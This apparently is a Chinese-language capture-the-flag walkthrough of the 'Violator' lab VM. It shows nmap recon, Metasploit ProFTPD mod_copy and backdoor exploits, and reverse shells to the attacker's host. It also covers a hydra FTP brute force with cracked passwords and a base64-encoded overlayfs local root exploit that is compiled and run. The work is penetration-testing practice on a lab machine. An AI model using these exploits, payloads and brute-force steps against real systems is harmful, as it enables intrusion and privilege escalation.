下载地址:点我
Flag:/root/flag.txt
哔哩哔哩:视频
网卡:虚拟机vmnet8
➜ ~ ip addr show dev vmnet8
5: vmnet8:
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff
inet 172.16.249.1/24 brd 172.16.249.255 scope global vmnet8
valid_lft forever preferred_lft forever
inet6 fe80::250:56ff:fec0:8/64 scope link
valid_lft forever preferred_lft forever
➜ ~ nmap -T4 -A 172.16.249.1/24
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-06 08:09 CST
Nmap scan report for 172.16.249.1
Host is up (0.00013s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
902/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
Nmap scan report for 172.16.249.129
Host is up (0.00035s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5rc3
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: I Say… I say… I say Boy! You pumpin' for oil or somethin'…?
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (2 hosts up) scanned in 72.25 seconds
IP:172.16.249.129,Ubuntu开放端口21和80。主页里有一张图片和一个wiki的链接,可能是突破口。
➜ ~ curl -L http://172.16.249.129/
不是WordPress框架,还是用nikto扫一下吧,什么也没发现,看了foggie.jpg的exif信息也没发现。
➜ ~ nikto -h http://172.16.249.129/
所以目标转向了FTP,在nmap的返回结果中可看到ProFTPD 1.3.5rc3
,找相关版本是否存在漏洞。
➜ ~ searchsploit ProFTPD 1.3.5
Exploit Title | Path
| (/home/kali-team/Kali-Team/exploit-database/)
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | exploits/linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | exploits/linux/remote/36803.py
ProFTPd 1.3.5 - File Copy | exploits/linux/remote/36742.txt
三个漏洞都可以利用,这里使用第一个Metasploit框架中的,比较方便。
msf > use exploit/unix/ftp/proftpd_modcopy_exec
msf exploit(unix/ftp/proftpd_modcopy_exec) > show options
Module options (exploit/unix/ftp/proftpd_modcopy_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][…]
RHOST yes The target address
RPORT 80 yes HTTP port (TCP)
RPORT_FTP 21 yes FTP port
SITEPATH /var/www yes Absolute writable website path
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path to the website
TMPPATH /tmp yes Absolute writable path
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 ProFTPD 1.3.5
msf exploit(unix/ftp/proftpd_modcopy_exec) > set rhost 172.16.249.129
rhost => 172.16.249.129
msf exploit(unix/ftp/proftpd_modcopy_exec) > set sitepath /var/www/html
sitepath => /var/www/html
msf exploit(unix/ftp/proftpd_modcopy_exec) > run
[] Started reverse TCP handler on 172.16.249.1:4444
[] 172.16.249.129:80 - 172.16.249.129:21 - Connected to FTP server
[] 172.16.249.129:80 - 172.16.249.129:21 - Sending copy commands to FTP server
[] 172.16.249.129:80 - Executing PHP payload /O8hgrL.php
[*] Command shell session 1 opened (172.16.249.1:4444 -> 172.16.249.129:33406) at 2018-08-06 14:10:35 +0800
ls
O8hgrL.php
foggie.jpg
i0KEqK.php
index.html
系统是Ubuntu,所以路径设置为/var/www/html
,目录下的两个PHP文件就是Metasploit生成的后门。
whoami
www-data
cat /etc/passwd
root❌0:0:root:/root:/bin/bash
daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin❌2:2:bin:/bin:/usr/sbin/nologin
sys❌3:3:sys:/dev:/usr/sbin/nologin
sync❌4:65534:sync:/bin:/bin/sync
games❌5:60:games:/usr/games:/usr/sbin/nologin
man❌6:12:man:/var/cache/man:/usr/sbin/nologin
lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail❌8:8:mail:/var/mail:/usr/sbin/nologin
news❌9:9:news:/var/spool/news:/usr/sbin/nologin
uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy❌13:13:proxy:/bin:/usr/sbin/nologin
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid❌100:101::/var/lib/libuuid:
syslog❌101:104::/home/syslog:/bin/false
messagebus❌102:106::/var/run/dbus:/bin/false
landscape❌103:109::/var/lib/landscape:/bin/false
dg❌1000:1000:Dave Gahan,,,:/home/dg:/bin/bash
proftpd❌104:65534::/var/run/proftpd:/bin/false
ftp❌105:65534::/srv/ftp:/bin/false
mg❌1001:1001:Martin Gore:/home/mg:/bin/bash
af❌1002:1002:Andrew Fletcher:/home/af:/bin/bash
aw❌1003:1003:Alan Wilder:/home/aw:/bin/bash
uname -a
Linux violator 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
发现有几个用户名dg mg af aw
,上传到服务器试了,有提权漏洞,但www-data不能用sudo。
www-data@violator:/var/www/html$ cat /etc/group
cat /etc/group
root❌0:
daemon❌1:
bin❌2:
sys❌3:
adm❌4:syslog,dg
tty❌5:
disk❌6:
lp❌7:
mail❌8:
news❌9:
uucp❌10:
man❌12:
proxy❌13:
kmem❌15:
dialout❌20:
fax❌21:
voice❌22:
cdrom❌24:dg
floppy❌25:
tape❌26:
sudo❌27:dg
audio❌29:
dip❌30:dg
www-data❌33:
backup❌34:
operator❌37:
list❌38:
irc❌39:
src❌40:
gnats❌41:
shadow❌42:
utmp❌43:
video❌44:
sasl❌45:
plugdev❌46:dg
staff❌50:
games❌60:
users❌100:mg,af,aw
nogroup❌65534:
libuuid❌101:
netdev❌102:
crontab❌103:
syslog❌104:
fuse❌105:
messagebus❌106:
mlocate❌107:
ssh❌108:
landscape❌109:
dg❌1000:
lpadmin❌110:dg
sambashare❌111:dg
ssl-cert❌112:
mg❌1001:
af❌1002:
aw❌1003:
能sudo的只有dg一个用户,去翻一下各个用户的home目录。然后找到下面的信息。
www-data@violator:/home/af$ ls
ls
minarke-1.21 minarke-1.21.tar.bz2
www-data@violator:/home/aw$ file hint
file hint
hint: ASCII text
www-data@violator:/home/aw$ cat hint
cat hint
You are getting close… Can you crack the final enigma..?
www-data@violator:/home/aw$
www-data@violator:/home$ ls dg
ls dg
bd
www-data@violator:/home/mg$ file faith_and_devotion
file faith_and_devotion
faith_and_devotion: ASCII text
www-data@violator:/home/mg$ cat faith_and_devotion
cat faith_and_devotion
Lyrics:
www-data@violator:/home/mg$
全部复制到/var/www/html
下载会本地。思路断了,外国的东西看不懂。然后看会了前期发现的wiki。想到了用CeWL把wiki的单词爬下来当字典,爆破那四个用户。CeWL的说明介绍。我其实是把专辑和歌名那一部分去掉空格作为密码字典的。
CeWL is a ruby app which spiders a given url to a specified depth, optionally following external links, and returns a list of words which can then be used for password crackers such as John the Ripper.
➜ CeWL git:(master) ✗ ./cewl.rb -v 'https://en.wikipedia.org/wiki/Violator_(album)' -d 1 -w pass.txt
➜ CeWL git:(master) ✗ cat pass.txt |wc -l
10429
➜ CeWL git:(master) ✗ hydra -L user.txt -P pass.txt -u 172.16.249.129 ftp
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2018-08-07 18:56:59
[DATA] max 16 tasks per 1 server, overall 16 tasks, 92 login tries (l:4/p:23), ~6 tries per task
[DATA] attacking ftp://172.16.249.129:21/
[21][ftp] host: 172.16.249.129 login: aw password: sweetestperfection
[21][ftp] host: 172.16.249.129 login: af password: enjoythesilence
[21][ftp] host: 172.16.249.129 login: mg password: bluedress
[21][ftp] host: 172.16.249.129 login: dg password: policyoftruth
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
➜ CeWL git:(master) ✗
第一种时直接上exp,因为msf拿到的shell没有上传功能,一句话木马好像也不行。所以先把exp.c转为base64,再写到shell里,到了服务器那边再解码成exp.c,然后编译执行。
➜ ~ searchsploit -p 39166
Exploit: Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation (1)
URL: https://www.exploit-db.com/exploits/39166/
Path: /home/kali-team/Kali-Team/exploit-database/exploits/linux/local/39166.c
File Type: C source, ASCII text, with CRLF line terminators
➜ ~ cp /home/kali-team/Kali-Team/exploit-database/exploits/linux/local/39166.c exp.c
➜ ~ cat exp.c|base64
LyoNCmp1c3QgYW5vdGhlciBvdmVybGF5ZnMgZXhwbG9pdCwgd29ya3Mgb24ga2VybmVscyBiZWZv
cmUgMjAxNS0xMi0yNg0KDQojIEV4cGxvaXQgVGl0bGU6IG92ZXJsYXlmcyBsb2NhbCByb290DQoj
IERhdGU6IDIwMTYtMDEtMDUNCiMgRXhwbG9pdCBBdXRob3I6IHJlYmVsDQojIFZlcnNpb246IFVi
dW50dSAxNC4wNCBMVFMsIDE1LjEwIGFuZCBtb3JlDQojIFRlc3RlZCBvbjogVWJ1bnR1IDE0LjA0
IExUUywgMTUuMTANCiMgQ1ZFIDogQ1ZFLTIwMTUtODY2MA0KDQpibGFoQHVidW50dTp+JCBpZA0K
dWlkPTEwMDEoYmxhaCkgZ2lkPTEwMDEoYmxhaCkgZ3JvdXBzPTEwMDEoYmxhaCkNCmJsYWhAdWJ1
bnR1On4kIHVuYW1lIC1hICYmIGNhdCAvZXRjL2lzc3VlDQpMaW51eCB1YnVudHUgMy4xOS4wLTQy
LWdlbmVyaWMgIzQ4fjE0LjA0LjEtVWJ1bnR1IFNNUCBGcmkgRGVjIDE4IDEwOjI0OjQ5IFVUQyAy
MDE1IHg4Nl82NCB4ODZfNjQgeDg2XzY0IEdOVS9MaW51eA0KVWJ1bnR1IDE0LjA0LjMgTFRTIFxu
IFxsDQpibGFoQHVidW50dTp+JCAuL292ZXJsYXlmYWlsDQpyb290QHVidW50dTp+IyBpZA0KdWlk
PTAocm9vdCkgZ2lkPTEwMDEoYmxhaCkgZ3JvdXBzPTAocm9vdCksMTAwMShibGFoKQ0KDQoxMi8y
MDE1DQpieSByZWJlbA0KDQo2MzU0YjRlMjNkYjIyNWI1NjVkNzlmMjI2ZjJlNDllYzBmZTFlMTli
DQoqLw0KDQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDxzY2hlZC5oPg0KI2luY2x1ZGUg
PHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHNjaGVkLmg+DQojaW5j
bHVkZSA8c3lzL3N0YXQuaD4NCiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxzeXMv
bW91bnQuaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1
ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHNjaGVkLmg+DQojaW5jbHVkZSA8c3lzL3N0YXQuaD4N
CiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxzeXMvbW91bnQuaD4NCiNpbmNsdWRl
IDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxzaWduYWwuaD4NCiNpbmNsdWRlIDxmY250bC5oPg0K
I2luY2x1ZGUgPHN0cmluZy5oPg0KI2luY2x1ZGUgPGxpbnV4L3NjaGVkLmg+DQojaW5jbHVkZSA8
c3lzL3dhaXQuaD4NCg0Kc3RhdGljIGNoYXIgY2hpbGRfc3RhY2tbMTAyNCoxMDI0XTsNCg0Kc3Rh
dGljIGludA0KY2hpbGRfZXhlYyh2b2lkICpzdHVmZikNCnsNCiAgICBzeXN0ZW0oInJtIC1yZiAv
dG1wL2hheGhheCIpOw0KICAgIG1rZGlyKCIvdG1wL2hheGhheCIsIDA3NzcpOw0KICAgIG1rZGly
KCIvdG1wL2hheGhheC93IiwgMDc3Nyk7DQogICAgbWtkaXIoIi90bXAvaGF4aGF4L3UiLDA3Nzcp
Ow0KICAgIG1rZGlyKCIvdG1wL2hheGhheC9vIiwwNzc3KTsNCg0KICAgIGlmIChtb3VudCgib3Zl
cmxheSIsICIvdG1wL2hheGhheC9vIiwgIm92ZXJsYXkiLCBNU19NR0NfVkFMLCAibG93ZXJkaXI9
L2Jpbix1cHBlcmRpcj0vdG1wL2hheGhheC91LHdvcmtkaXI9L3RtcC9oYXhoYXgvdyIpICE9IDAp
IHsNCglmcHJpbnRmKHN0ZGVyciwibW91bnQgZmFpbGVkLi5cbiIpOw0KICAgIH0NCg0KICAgIGNo
bW9kKCIvdG1wL2hheGhheC93L3dvcmsiLDA3NzcpOw0KICAgIGNoZGlyKCIvdG1wL2hheGhheC9v
Iik7DQogICAgY2htb2QoImJhc2giLDA0NzU1KTsNCiAgICBjaGRpcigiLyIpOw0KICAgIHVtb3Vu
dCgiL3RtcC9oYXhoYXgvbyIpOw0KICAgIHJldHVybiAwOw0KfQ0KDQppbnQNCm1haW4oaW50IGFy
Z2MsIGNoYXIgKiphcmd2KQ0Kew0KICAgIGludCBzdGF0dXM7DQogICAgcGlkX3Qgd3JhcHBlciwg
aW5pdDsNCiAgICBpbnQgY2xvbmVfZmxhZ3MgPSBDTE9ORV9ORVdOUyB8IFNJR0NITEQ7DQogICAg
c3RydWN0IHN0YXQgczsNCg0KICAgIGlmKCh3cmFwcGVyID0gZm9yaygpKSA9PSAwKSB7DQogICAg
ICAgIGlmKHVuc2hhcmUoQ0xPTkVfTkVXVVNFUikgIT0gMCkNCiAgICAgICAgICAgIGZwcmludGYo
c3RkZXJyLCAiZmFpbGVkIHRvIGNyZWF0ZSBuZXcgdXNlciBuYW1lc3BhY2VcbiIpOw0KDQogICAg
ICAgIGlmKChpbml0ID0gZm9yaygpKSA9PSAwKSB7DQogICAgICAgICAgICBwaWRfdCBwaWQgPQ0K
ICAgICAgICAgICAgICAgIGNsb25lKGNoaWxkX2V4ZWMsIGNoaWxkX3N0YWNrICsgKDEwMjQqMTAy
NCksIGNsb25lX2ZsYWdzLCBOVUxMKTsNCiAgICAgICAgICAgIGlmKHBpZCA8IDApIHsNCiAgICAg
ICAgICAgICAgICBmcHJpbnRmKHN0ZGVyciwgImZhaWxlZCB0byBjcmVhdGUgbmV3IG1vdW50IG5h
bWVzcGFjZVxuIik7DQogICAgICAgICAgICAgICAgZXhpdCgtMSk7DQogICAgICAgICAgICB9DQoN
CiAgICAgICAgICAgIHdhaXRwaWQocGlkLCAmc3RhdHVzLCAwKTsNCg0KICAgICAgICB9DQoNCiAg
ICAgICAgd2FpdHBpZChpbml0LCAmc3RhdHVzLCAwKTsNCiAgICAgICAgcmV0dXJuIDA7DQogICAg
fQ0KDQogICAgdXNsZWVwKDMwMDAwMCk7DQoNCiAgICB3YWl0KE5VTEwpOw0KDQogICAgc3RhdCgi
L3RtcC9oYXhoYXgvdS9iYXNoIiwmcyk7DQoNCiAgICBpZihzLnN0X21vZGUgPT0gMHg4OWVkKQ0K
ICAgICAgICBleGVjbCgiL3RtcC9oYXhoYXgvdS9iYXNoIiwiYmFzaCIsIi1wIiwiLWMiLCJybSAt
cmYgL3RtcC9oYXhoYXg7cHl0aG9uIC1jIFwiaW1wb3J0IG9zO29zLnNldHJlc3VpZCgwLDAsMCk7
b3MuZXhlY2woJy9iaW4vYmFzaCcsJ2Jhc2gnKTtcIiIsTlVMTCk7DQoNCiAgICBmcHJpbnRmKHN0
ZGVyciwiY291bGRuJ3QgY3JlYXRlIHN1aWQgOihcbiIpOw0KICAgIHJldHVybiAtMTsNCn0=
➜ ~
在服务器这边把base64解码
dg@violator:/var/www/html$ cat exp.txt|base64 -d >exp.c
cat exp.txt|base64 -d >exp.c
dg@violator:/var/www/html$ gcc exp.c
gcc exp.c
dg@violator:/var/www/html$ ls
ls
a.out exp.c exp.txt J0dov8.php jc7gX.php vMZTOjJ.php
dg@violator:/var/www/html$ ./a.out
./a.out
root@violator:/var/www/html# id
id
uid=0(root) gid=1000(dg) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare),1000(dg)
root@violator:/var/www/html#
/var/www/html
然后上传Meterpreter-shell。生成meterpreter-shell,FTP上传直接PUT就可以了
➜ ~ msfvenom -p php/meterpreter_reverse_tcp LPORT=7788 LHOST=172.16.249.1 -f raw -o msf.php
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf exploit(multi/handler) > set lport 7788
lport => 7788
msf exploit(multi/handler) > set lhost 172.16.249.1
lhost => 172.16.249.1
msf exploit(multi/handler) > run
[] Started reverse TCP handler on 172.16.249.1:7788 [] Meterpreter session 1 opened (172.16.249.1:7788 -> 172.16.249.129:35623) at 2018-08-07 20:36:38 +0800
这个功能比较多,我平时也是用这个payload的。
www-data@violator:/var/www/html$ su dg
su dg
Password: policyoftruth
dg@violator:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for dg on violator:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User dg may run the following commands on violator:
(ALL) NOPASSWD: /home/dg/bd/sbin/proftpd
dg@violator:/var/www/html$
上面可以看到proftpd
这个守护进程是以root权限运行的,而这东西又刚刚好有漏洞。而且执行不要root密码。我们切换到/home/dg/bd/sbin/proftpd
把proftpd以root权限执行起来。接着就是去利用漏洞了。
dg@violator:/var/www/html$ cd /home/dg/bd/sbin/
cd /home/dg/bd/sbin/
dg@violator:~/bd/sbin$ ls
ls
ftpscrub ftpshut in.proftpd proftpd
dg@violator:~/bd/sbin$ ls -al
ls -al
total 564
drwxr-xr-x 2 root root 4096 Jun 6 2016 .
drwxr-xr-x 10 root root 4096 Jun 6 2016 ..
-rwxr-xr-x 1 root root 15976 Jun 6 2016 ftpscrub
-rwxr-xr-x 1 root root 10456 Jun 6 2016 ftpshut
lrwxrwxrwx 1 root root 7 Jun 6 2016 in.proftpd -> proftpd
-rwxr-xr-x 1 root root 537488 Jun 6 2016 proftpd
dg@violator:~/bd/sbin$ sudo ./proftpd
sudo ./proftpd
现在守护进程已经跑起来了,监听的端口是2121,但是只能由127.0.0.1访问,所以要做端口转发。
meterpreter > portfwd add -L 127.0.0.1 -l 2121 -p 2121 -r 127.0.0.1
[*] Local TCP relay created: 127.0.0.1:2121 <-> 127.0.0.1:2121
meterpreter > background
[*] Backgrounding session 1…
msf exploit(multi/handler) > use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(unix/ftp/proftpd_133c_backdoor) > set payload cmd/unix/
set payload cmd/unix/bind_perl
set payload cmd/unix/bind_perl_ipv6
set payload cmd/unix/generic
set payload cmd/unix/reverse
set payload cmd/unix/reverse_bash_telnet_ssl
set payload cmd/unix/reverse_perl
set payload cmd/unix/reverse_perl_ssl
set payload cmd/unix/reverse_ssl_double_telnet
msf exploit(unix/ftp/proftpd_133c_backdoor) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf exploit(unix/ftp/proftpd_133c_backdoor) > set lhost 172.16.249.1
lhost => 172.16.249.1
msf exploit(unix/ftp/proftpd_133c_backdoor) > show options
Module options (exploit/unix/ftp/proftpd_133c_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 21 yes The target port (TCP)
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.16.249.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(unix/ftp/proftpd_133c_backdoor) > run
[-] Exploit failed: The following options failed to validate: RHOST.
[] Exploit completed, but no session was created.
msf exploit(unix/ftp/proftpd_133c_backdoor) > set rport 2121
rport => 2121
msf exploit(unix/ftp/proftpd_133c_backdoor) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf exploit(unix/ftp/proftpd_133c_backdoor) > run
[] Started reverse TCP handler on 172.16.249.1:4444
[] 127.0.0.1:2121 - Sending Backdoor Command
[] Command shell session 2 opened (172.16.249.1:4444 -> 172.16.249.129:60709) at 2018-08-07 21:05:32 +0800
id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
那到root权限了,接下来去夺旗。
python -c 'import pty;pty.spawn("/bin/bash")'
root@violator:/# ls
ls
bin dev home lib lost+found mnt proc run srv tmp var
boot etc initrd.img lib64 media opt root sbin sys usr vmlinuz
root@violator:/# cd /root
cd /root
root@violator:/root# ls
ls
flag.txt
root@violator:/root# cat flag.txt
cat flag.txt
I say… I say… I say boy! Pumping for oil or something…?
---Foghorn Leghorn "A Broken Leghorn" 1950 (C) W.B.
root@violator:/root#
在root目录下有一个隐藏文件夹,下载回来看看发现有密码。
root@violator:/root# ll
ll
total 24
drwx------ 3 root root 4096 Jun 14 2016 ./
drwxr-xr-x 22 root root 4096 Jun 14 2016 ../
-rw-r--r-- 1 root root 3106 Feb 20 2014 .bashrc
d--x------ 2 root root 4096 Jun 14 2016 .basildon/
-rw-r--r-- 1 root root 114 Jun 12 2016 flag.txt
-rw-r--r-- 1 root root 140 Feb 20 2014 .profile
root@violator:/root# cd .basildon/
cd .basildon/
root@violator:/root/.basildon# ls
ls
crocs.rar
root@violator:/root/.basildon#
➜ DOWNLOAD john hash --wordlist=/home/kali-team/Kali-Team/password-recovery/CeWL/pass
Warning: detected hash type "rar", but the string is also recognized as "rar-opencl"
Use the "--format=rar-opencl" option to force loading these as that type instead
Loaded 1 password hash (rar, RAR3 [SHA1 AES 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
World in My Eyes (crocs.rar)
1g 0:00:00:00 DONE (2018-08-07 21:20) 3.703g/s 88.88p/s 88.88c/s 88.88C/s enjoythesilence..World in My Eyes
Use the "--show" option to display all of the cracked passwords reliably
Session completed
密码破解出来是World in My Eyes,别问我怎么知道的,情节需要。现在到隐写
➜ DOWNLOAD exiftool artwork.jpg
ExifTool Version Number : 11.01
File Name : artwork.jpg
Directory : .
File Size : 183 kB
File Modification Date/Time : 2016:06:12 14:38:12+08:00
File Access Date/Time : 2018:08:07 21:23:12+08:00
File Inode Change Date/Time : 2018:08:07 21:23:12+08:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 300
Y Resolution : 300
Exif Byte Order : Big-endian (Motorola, MM)
Image Description : Violator
Software : Google
Artist : Dave Gaham
Copyright : UKSNRSPYLEWHKOKZARVKDEINRLIBWIUCFQRQKAQQGQLTIUCYMFENULUVFOYQDKPHSUJHFUJSAYJDFGDFRYWKLSVNJNVDVSBIBFNIFASOPFDVEYEBQYCOGULLLVQPUWISDBNLNQIJUEZACAKTPPSBBLWRHKZBJMSKLJOACGJMFVXZUEKBVWNKWEKVKDMUYFLZEOXCIXIUHJOVSZXFLOZFQTNSKXVWUHJLRAEERYTDPVNZPGUIMXZMESMAMBDVKFZSDEIQXYLJNKTBDSRYLDPPOIVUMZDFZPEWPPVHGPFBEERMDNHFIWLSHZYKOZVZYNEXGPROHLMRHFEIVIIATOAOJAOVYFVBVIYBGUZXXWFKGJCYEWNQFTPAGLNLHVCRDLFHSXHVMCERQTZOOZARBEBWCBCIKUOFQIGZPCMWRHJEMUSGYBGWXJENRZHZICACWOBJMI
Exif Version : 0220
Date/Time Original : 1990:03:19 22:13:30
Create Date : 1990:03:19 22:13:30
Sub Sec Time Original : 04
Sub Sec Time Digitized : 04
Exif Image Width : 1450
Exif Image Height : 1450
XP Title : Violator
XP Author : Dave Gaham
XP Keywords : created by user dg
XP Subject : policyoftruth
Padding : (Binary data 1590 bytes, use -b option to extract)
About : uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b
Rights : UKSNRSPYLEWHKOKZARVKDEINRLIBWIUCFQRQKAQQGQLTIUCYMFENULUVFOYQDKPHSUJHFUJSAYJDFGDFRYWKLSVNJNVDVSBIBFNIFASOPFDVEYEBQYCOGULLLVQPUWISDBNLNQIJUEZACAKTPPSBBLWRHKZBJMSKLJOACGJMFVXZUEKBVWNKWEKVKDMUYFLZEOXCIXIUHJOVSZXFLOZFQTNSKXVWUHJLRAEERYTDPVNZPGUIMXZMESMAMBDVKFZSDEIQXYLJNKTBDSRYLDPPOIVUMZDFZPEWPPVHGPFBEERMDNHFIWLSHZYKOZVZYNEXGPROHLMRHFEIVIIATOAOJAOVYFVBVIYBGUZXXWFKGJCYEWNQFTPAGLNLHVCRDLFHSXHVMCERQTZOOZARBEBWCBCIKUOFQIGZPCMWRHJEMUSGYBGWXJENRZHZICACWOBJMI
Creator : Dave Gaham
Subject : created by user dg
Title : Violator
Description : Violator
Warning : [minor] Fixed incorrect URI for xmlns:MicrosoftPhoto
Date Acquired : 1941:05:09 10:30:18.134
Last Keyword XMP : created by user dg
Image Width : 1450
Image Height : 1450
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 1450x1450
Megapixels : 2.1
Create Date : 1990:03:19 22:13:30.04
Date/Time Original : 1990:03:19 22:13:30.04
➜ DOWNLOAD
版权那两个地方非常突出了,但是又不是base64,然后在mg目录发现的歌词和一个C程序没用上。
Lyrics:
Use Wermacht with 3 rotors
Reflector to B
Initial: A B C
Alphabet Ring: C B A
Plug Board A-B, C-D
看来那个C程序是解这串字的,但是他卡住了。
➜ minarke-1.21 ./minarke
Minarke, an Enigma M4 emulator
by John Gilbert
Emulates the Kriegsmarine M4 Enigma encryption machine
Initial Setup Notes
Rotors: Reflector (B/C), Thin Rotor (B/G), 3 Rotors (1-8, can't reuse them)
Use BB### or CG### with A### settings to read/create Wehrmacht three rotor traffic
Ring and position settings: A-Z for each of the 4 rotors
Reflector setting is always fixed at A.
Plugboard settings: A-Z,A-Z pairs, also won't allow reuse
Hit return to end input, 11 pairs recomended for maximum security.
Hit ESC at any time to quit.
Special Keys (during input mode)
1: rewind one setting
2: reset position settings
3: new position settings
4: new setup
9: toggle debug
0: show position settings
?: show help
see http://en.wikipedia.org/wiki/Enigma_machine
also http://www.bytereef.org/m4_project.html
Rotors:
Google找在线的解密工具,解了也看不懂,没有空格分开翻译不了,反正flag拿到了。
ONEFINALCHALLENGEFORYOUBGHXCONGRATULATIONSFORTHEFOURTHTIMEONSNARFINGTHEFLAGONVIOLATORILLPRESUMEBYNOWYOULLKNOWWHATIWASLISTENINGTOWHENCREATINGTHISCTFIHAVEINCLUDEDTHINGSWHICHWEREDELIBERATLYAVOIDINGTHEOBVIOUSROUTEINTOKEEPYOUONYOURTOESANOTHERTHOUGHTTOPONDERISTHATBYABUSINGPERMISSIONSYOUAREALSOBYDEFINITIONAVIOLATORSHOUTOUTSAGAINTOVULNHUBFORHOSTINGAGREATLEARNINGTOOLASPECIALTHANKSGOESTOBENRANDGKNSBFORTESTINGANDTOGTMLKFORTHEOFFERTOHOSTTHECTFAGAINKNIGHTMARE
手机扫一扫
移动阅读更方便
你可能感兴趣的文章